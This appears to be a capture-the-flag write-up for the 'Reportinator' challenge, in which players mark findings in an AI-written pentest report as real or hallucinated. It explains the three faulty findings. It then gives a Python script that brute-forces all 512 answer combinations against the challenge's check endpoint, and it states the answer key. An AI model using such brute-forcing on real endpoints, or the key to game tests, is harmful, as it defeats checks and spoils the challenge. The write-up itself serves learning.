Top

Reportinator

Difficulty:

Description:

Noel Boetie used ChatNPT to write a pentest report. Go to Christmas Island and help him clean it up.

---

Solution

Solution

Reading and rereading the findings resulted in discovering some errors.

Finding 3

Finding 3 has an impossibly high port number. It references TCP port 88555 when 65535 is the maximum TCP port number.

Finding 6

Finding 6 references braces "{" and "}" as special characters for Cross-Site Scripting, which is incorrect. Special characters are more like < > double quote, and single quote. It also says that these braces are in JSON data unsanitized or encoded. If that was true, it would break the JSON object. It also references HTTP SEND, which is not a valid HTTP method like GET or POST.

Finding 9

Finding 9 mentions an HTTP 7.4.33 request to force a server to disclose its internal IP address. I do not know what an HTTP 7.4.33 request is, but it sounds like an AI mixed up a PHP version number with the HTTP version. HTTP versions are usually 1.1, 2, or sometimes 3. It also mentions putting the Windows Registration key in the Location header, which nonsense. Put the public IP address or use the public hostname.

Mark findings 3, 6, and 9 as hallucinations and click Submit Review.

---

Brute Force

Brute Force

I solved this challenge two ways. When I saw how the challenge worked under the covers, I saw an opportunity to brute force it. There are 9 issues in the report that need to be validated as real or an AI hallucination. Each issue has a binary status, either 1 or 0. This means there are only 2^9 possible answers. That is only 512, which is well within brute-forcing range.

I used an http proxy to capture the request the Reportinator sends when you change the status issue. It sends a POST request to the "/check" endpoint:

The server response with a status code of 400 and as "FAILURE" if the response is incorrect. I can create a python script to brute force the possibililities and see if we can get a success or a 200 OK status code.

import requests
import itertools 

ReportinatorCookieYum = ""

#Generate all possible guesses
combinations = [p for p in itertools.product([0,1], repeat=9)]

#Pretty print a guess
def guess_to_str(guess):
    result = "Correct Combination: \n"
    c = 0
    for g in guess:
        c += 1
        if g == 1:
            result += f"\t{c}: Hallucination\n"
        else:
            result += f"\t{c}: Good Finding\n"
    return result

#Submit a guess to the reportinator
#Returns true if successful, false if not
def guess(guess):
    post_data = {}
    for i in range(0, 9):
        post_data[f"input-{i+1}"] = guess[i]
    headers = {
        "ReportinatorCookieYum": ReportinatorCookieYum
    }
    url = "https://hhc23-reportinator-dot-holidayhack2023.ue.r.appspot.com/check"
    resp = requests.post(url, headers=headers, data=post_data)
    return resp.status_code != 400

#Run through all guesses
c = 0
for combo in combinations:
    c+=1
    print(f"Guessing {c}...", end="")
    result = guess(combo)
    if result:
        print("SUCCESS!")
        print(guess_to_str(combo))
        break
    else:
        print("FAILURE")

The script is able to brute force the reportinator in 74 tries. The correct responses are printed to the console output:

py reportinator.py
Guessing 1...FAILURE
Guessing 2...FAILURE
Guessing 3...FAILURE
Guessing 4...FAILURE
...
Guessing 72...FAILURE
Guessing 73...FAILURE
Guessing 74...SUCCESS!
Correct Combination:
        1: Good Finding
        2: Good Finding
        3: Hallucination
        4: Good Finding
        5: Good Finding
        6: Hallucination
        7: Good Finding
        8: Good Finding
        9: Hallucination

Enter these in the reportinator and click submit to complete this challenge.